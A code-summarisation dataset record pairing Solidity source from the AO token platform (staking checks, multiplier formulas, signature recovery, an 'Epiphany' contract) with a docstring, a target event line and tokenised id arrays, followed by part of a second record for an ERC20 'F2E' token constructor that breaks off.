advocatedTAOLogos[_nameId][_taoId] = advocatedTAOLogos[_nameId][_taoId].add(_amount);
totalAdvocatedTAOLogos[_nameId] = totalAdvocatedTAOLogos[_nameId].add(_amount);
emit AddAdvocatedTAOLogos(_nameId, _taoId, _amount);
return true;
}
/**
* @dev Transfer logos earned from advocating a TAO `_taoId` from `_fromNameId` to `_toNameId`
* @param _fromNameId The ID of the Name that sends the Logos
* @param _toNameId The ID of the Name that receives the Logos
* @param _taoId The ID of the advocated TAO
* @return true on success
*/
function transferAdvocatedTAOLogos(address _fromNameId, address _toNameId, address _taoId) public inWhitelist isName(_fromNameId) isName(_toNameId) isTAO(_taoId) returns (bool) {
require (_nameTAOPosition.nameIsAdvocate(_toNameId, _taoId));
require (advocatedTAOLogos[_fromNameId][_taoId] > 0);
require (totalAdvocatedTAOLogos[_fromNameId] >= advocatedTAOLogos[_fromNameId][_taoId]);
uint256 _amount = advocatedTAOLogos[_fromNameId][_taoId];
advocatedTAOLogos[_fromNameId][_taoId] = advocatedTAOLogos[_fromNameId][_taoId].sub(_amount);
totalAdvocatedTAOLogos[_fromNameId] = totalAdvocatedTAOLogos[_fromNameId].sub(_amount);
advocatedTAOLogos[_toNameId][_taoId] = advocatedTAOLogos[_toNameId][_taoId].add(_amount);
totalAdvocatedTAOLogos[_toNameId] = totalAdvocatedTAOLogos[_toNameId].add(_amount);
emit TransferAdvocatedTAOLogos(_fromNameId, _toNameId, _taoId, _amount);
return true;
}
}
/**
* @title AOLibrary
*/
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
/**
* @dev Check whether or not the given TAO ID is a TAO
* @param _taoId The ID of the TAO
* @return true if yes. false otherwise
*/
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(_taoId).name()).length > 0 && TAO(_taoId).originId() != address(0) && TAO(_taoId).typeId() == 0);
}
/**
* @dev Check whether or not the given Name ID is a Name
* @param _nameId The ID of the Name
* @return true if yes. false otherwise
*/
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(_nameId).name()).length > 0 && Name(_nameId).originId() != address(0) && Name(_nameId).typeId() == 1);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
* @param _sender The address to check
* @param _theAO The AO address
* @param _nameTAOPositionAddress The address of NameTAOPosition
* @return true if yes, false otherwise
*/
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
(
(isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
NameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)
)
);
}
/**
* @dev Return the divisor used to correctly calculate percentage.
* Percentage stored throughout AO contracts covers 4 decimals,
* so 1% is 10000, 1.25% is 12500, etc
*/
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
/**
* @dev Return the divisor used to correctly calculate multiplier.
* Multiplier stored throughout AO contracts covers 6 decimals,
* so 1 is 1000000, 0.023 is 23000, etc
*/
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
/**
* @dev Check whether or not content creator can stake a content based on the provided params
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _profitPercentage The percentage of profit the stake owner's media will charge
* @return true if yes. false otherwise
*/
function canStake(address _treasuryAddress,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
uint256 _profitPercentage) public view returns (bool) {
return (
bytes(_baseChallenge).length > 0 &&
bytes(_encChallenge).length > 0 &&
bytes(_contentDatKey).length > 0 &&
bytes(_metadataDatKey).length > 0 &&
_fileSize > 0 &&
(_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0) &&
_stakeAmountValid(_treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _fileSize) == true &&
_profitPercentage <= _PERCENTAGE_DIVISOR
);
}
/**
* @dev Check whether or the requested unstake amount is valid
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @param _primordialAmount The amount of primordial token
* @param _stakedNetworkAmount The current staked network token amount
* @param _stakedPrimordialAmount The current staked primordial token amount
* @param _stakedFileSize The file size of the staked content
* @return true if can unstake, false otherwise
*/
function canUnstakePartial(
address _treasuryAddress,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
uint256 _stakedNetworkAmount,
uint256 _stakedPrimordialAmount,
uint256 _stakedFileSize) public view returns (bool) {
if (
(_denomination.length > 0 &&
(_networkIntegerAmount > 0 || _networkFractionAmount > 0) &&
_stakedNetworkAmount < AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)
) ||
_stakedPrimordialAmount < _primordialAmount ||
(
_denomination.length > 0
&& (_networkIntegerAmount > 0 || _networkFractionAmount > 0)
&& (_stakedNetworkAmount.sub(AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)).add(_stakedPrimordialAmount.sub(_primordialAmount)) < _stakedFileSize)
) ||
( _denomination.length == 0 && _networkIntegerAmount == 0 && _networkFractionAmount == 0 && _primordialAmount > 0 && _stakedPrimordialAmount.sub(_primordialAmount) < _stakedFileSize)
) {
return false;
} else {
return true;
}
}
/**
* @dev Check whether the network token and/or primordial token is adequate to pay for existing staked content
* @param _treasuryAddress AO treasury contract address
* @param _isAOContentUsageType whether or not the content is of AO Content usage type
* @param _fileSize The size of the file
* @param _stakedAmount The total staked amount
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @param _primordialAmount The amount of primordial token
* @return true when the amount is sufficient, false otherwise
*/
function canStakeExisting(
address _treasuryAddress,
bool _isAOContentUsageType,
uint256 _fileSize,
uint256 _stakedAmount,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount
) public view returns (bool) {
if (_isAOContentUsageType) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) >= _fileSize;
} else {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) == _fileSize;
}
}
/**
* @dev Check whether the network token is adequate to pay for existing staked content
* @param _treasuryAddress AO treasury contract address
* @param _price The price of the content
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @return true when the amount is sufficient, false otherwise
*/
function canBuy(address _treasuryAddress, uint256 _price, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination) public view returns (bool) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) >= _price;
}
/**
* @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier`
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _currentPrimordialBalance Account's current primordial token balance
* @param _additionalWeightedMultiplier The weighted multiplier to be added
* @param _additionalPrimordialAmount The primordial token amount to be added
* @return the new primordial weighted multiplier
*/
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedTokens = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalTokens = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedTokens.div(_totalTokens);
} else {
return _additionalWeightedMultiplier;
}
}
/**
* @dev Return the address that signed the message when a node wants to become a host
* @param _callingContractAddress the address of the calling contract
* @param _message the message that was signed
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getBecomeHostSignatureAddress(address _callingContractAddress, string _message, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _message));
return ecrecover(_hash, _v, _r, _s);
}
/**
* @dev Return the address that signed the TAO content state update
* @param _callingContractAddress the address of the calling contract
* @param _contentId the ID of the content
* @param _taoId the ID of the TAO
* @param _taoContentState the TAO Content State value, i.e Submitted, Pending Review, or Accepted to TAO
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getUpdateTAOContentStateSignatureAddress(address _callingContractAddress, bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _contentId, _taoId, _taoContentState));
return ecrecover(_hash, _v, _r, _s);
}
/**
* @dev Return the staking and earning information of a stake ID
* @param _contentAddress The address of AOContent
* @param _earningAddress The address of AOEarning
* @param _stakeId The ID of the staked content
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
* @return the total earning from staking this content
* @return the total earning from hosting this content
* @return the total The AO earning of this content
*/
function getContentMetrics(address _contentAddress, address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier) = getStakingMetrics(_contentAddress, _stakeId);
(uint256 totalStakeEarning, uint256 totalHostEarning, uint256 totalTheAOEarning) = getEarningMetrics(_earningAddress, _stakeId);
return (
networkAmount,
primordialAmount,
primordialWeightedMultiplier,
totalStakeEarning,
totalHostEarning,
totalTheAOEarning
);
}
/**
* @dev Return the staking information of a stake ID
* @param _contentAddress The address of AOContent
* @param _stakeId The ID of the staked content
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
*/
function getStakingMetrics(address _contentAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) {
(,, uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier,,,) = AOContent(_contentAddress).stakedContentById(_stakeId);
return (
networkAmount,
primordialAmount,
primordialWeightedMultiplier
);
}
/**
* @dev Return the earning information of a stake ID
* @param _earningAddress The address of AOEarning
* @param _stakeId The ID of the staked content
* @return the total earning from staking this content
* @return the total earning from hosting this content
* @return the total The AO earning of this content
*/
function getEarningMetrics(address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) {
return (
AOEarning(_earningAddress).totalStakedContentStakeEarning(_stakeId),
AOEarning(_earningAddress).totalStakedContentHostEarning(_stakeId),
AOEarning(_earningAddress).totalStakedContentTheAOEarning(_stakeId)
);
}
/**
* @dev Calculate the primordial token multiplier on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Multiplier = S
* Ending Multiplier = E
* To Purchase = P
* Multiplier for next Lot of Amount = (1 - ((M + P/2) / T)) x (S-E)
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting multiplier in (10 ** 6)
* @param _endingMultiplier The ending multiplier in (10 ** 6)
* @return The multiplier in (10 ** 6)
*/
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* Multiplier = (1 - (temp / T)) x (S-E)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply multiplier with _MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR to account for 6 decimals
* so, Multiplier = (_MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR) * (1 - (temp / T)) * (S-E)
* Multiplier = ((_MULTIPLIER_DIVISOR * (1 - (temp / T))) * (S-E)) / _MULTIPLIER_DIVISOR
* Multiplier = ((_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)) / _MULTIPLIER_DIVISOR
* Take out the division by _MULTIPLIER_DIVISOR for now and include in later calculation
* Multiplier = (_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)
*/
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
/**
* Since _startingMultiplier and _endingMultiplier are in 6 decimals
* Need to divide multiplier by _MULTIPLIER_DIVISOR
*/
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
/**
* @dev Calculate the bonus percentage of network token on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Network Token Bonus Multiplier = Bs
* Ending Network Token Bonus Multiplier = Be
* To Purchase = P
* AO Bonus % = B% = (1 - ((M + P/2) / T)) x (Bs-Be)
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting Network token bonus multiplier
* @param _endingMultiplier The ending Network token bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkTokenBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* B% = (1 - (temp / T)) x (Bs-Be)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply B% with _PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR to account for 6 decimals
* so, B% = (_PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR) * (1 - (temp / T)) * (Bs-Be)
* B% = ((_PERCENTAGE_DIVISOR * (1 - (temp / T))) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* B% = ((_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* Take out the division by _PERCENTAGE_DIVISOR for now and include in later calculation
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)
* But since Bs and Be are in 6 decimals, need to divide by _PERCENTAGE_DIVISOR
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) / _PERCENTAGE_DIVISOR
*/
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
/**
* @dev Calculate the bonus amount of network token on a given lot
* AO Bonus Amount = B% x P
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting Network token bonus multiplier
* @param _endingMultiplier The ending Network token bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkTokenBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkTokenBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
/**
* Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR
* when calculating the network token bonus amount
*/
uint256 networkTokenBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkTokenBonus;
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _maximumMultiplier = S
* _amountToBurn = B
* B = ((S x P) - (P x M)) / S
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _maximumMultiplier The maximum multiplier of this account
* @return The maximum burn amount
*/
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
/**
* @dev Calculate the new multiplier after burning primordial token
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToBurn = B
* _newMultiplier = E
* E = (P x M) / (P - B)
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToBurn The amount of primordial token to burn
* @return The new multiplier
*/
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
/**
* @dev Calculate the new multiplier after converting network token to primordial token
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToConvert = C
* _newMultiplier = E
* E = (P x M) / (P + C)
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToConvert The amount of network token to convert
* @return The new multiplier
*/
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
/**
* @dev Get TAO Currency Balances given a nameId
* @param _nameId The ID of the Name
* @param _logosAddress The address of Logos
* @param _ethosAddress The address of Ethos
* @param _pathosAddress The address of Pathos
* @return sum Logos balance of the Name ID
* @return Ethos balance of the Name ID
* @return Pathos balance of the Name ID
*/
function getTAOCurrencyBalances(
address _nameId,
address _logosAddress,
address _ethosAddress,
address _pathosAddress
) public view returns (uint256, uint256, uint256) {
return (
Logos(_logosAddress).sumBalanceOf(_nameId),
TAOCurrency(_ethosAddress).balanceOf(_nameId),
TAOCurrency(_pathosAddress).balanceOf(_nameId)
);
}
/**
* @dev Return the address that signed the data and nonce when validating signature
* @param _callingContractAddress the address of the calling contract
* @param _data the data that was signed
* @param _nonce The signed uint256 nonce
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getValidateSignatureAddress(address _callingContractAddress, string _data, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _data, _nonce));
return ecrecover(_hash, _v, _r, _s);
}
/***** Internal Methods *****/
/**
* @dev Check whether the network token and/or primordial token is adequate to pay for the filesize
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _fileSize The size of the file
* @return true when the amount is sufficient, false otherwise
*/
function _stakeAmountValid(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _fileSize) internal view returns (bool) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) >= _fileSize;
}
}
contract Epiphany is TheAO {
string public what;
string public when;
string public why;
string public who;
address public where;
string public aSign;
string public logos;
constructor() public {
what = 'The AO';
when = 'January 6th, 2019 a.d, year 1 a.c. Epiphany. An appearance or manifestation especially of a divine being. An illuminating discovery, realization, or disclosure.';
why = 'To Hear, See, and Speak the Human inside Humanity.';
who = 'You. Set the world, Free. – Truth';
aSign = '08e2c4e1ccf3bccfb3b8eef14679b28442649a2a733960661210a0b00d9c93bf';
logos = '0920c6ab1848df83a332a21e8c9ec1a393e694c396b872aee053722d023e2a32';
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Set `where` value
* @param _where The new value to be set
*/
function setWhere(address _where) public onlyTheAO {
where = _where;
}
} | Event to be broadcasted to public when content creator's Name earns Pathos when a node buys a content | event PathosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount);
| 10,007,509 | [
1,
1133,
358,
506,
8959,
329,
358,
1071,
1347,
913,
11784,
1807,
1770,
425,
1303,
87,
2666,
538,
1347,
279,
756,
25666,
1900,
279,
913,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
2575,
2666,
538,
41,
1303,
329,
12,
2867,
8808,
508,
548,
16,
1731,
1578,
8808,
23701,
548,
16,
2254,
5034,
3844,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2B53E82C221494d27d5B748b14564726092b4D9d/sources/F2E.sol | exclude from paying fees or having max transaction amount | constructor() ERC20("Follow 2 Earn", "F2E") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 4;
uint256 _sellMarketingFee = 6;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 4;
uint256 totalSupply = 1000000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 3,205,701 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
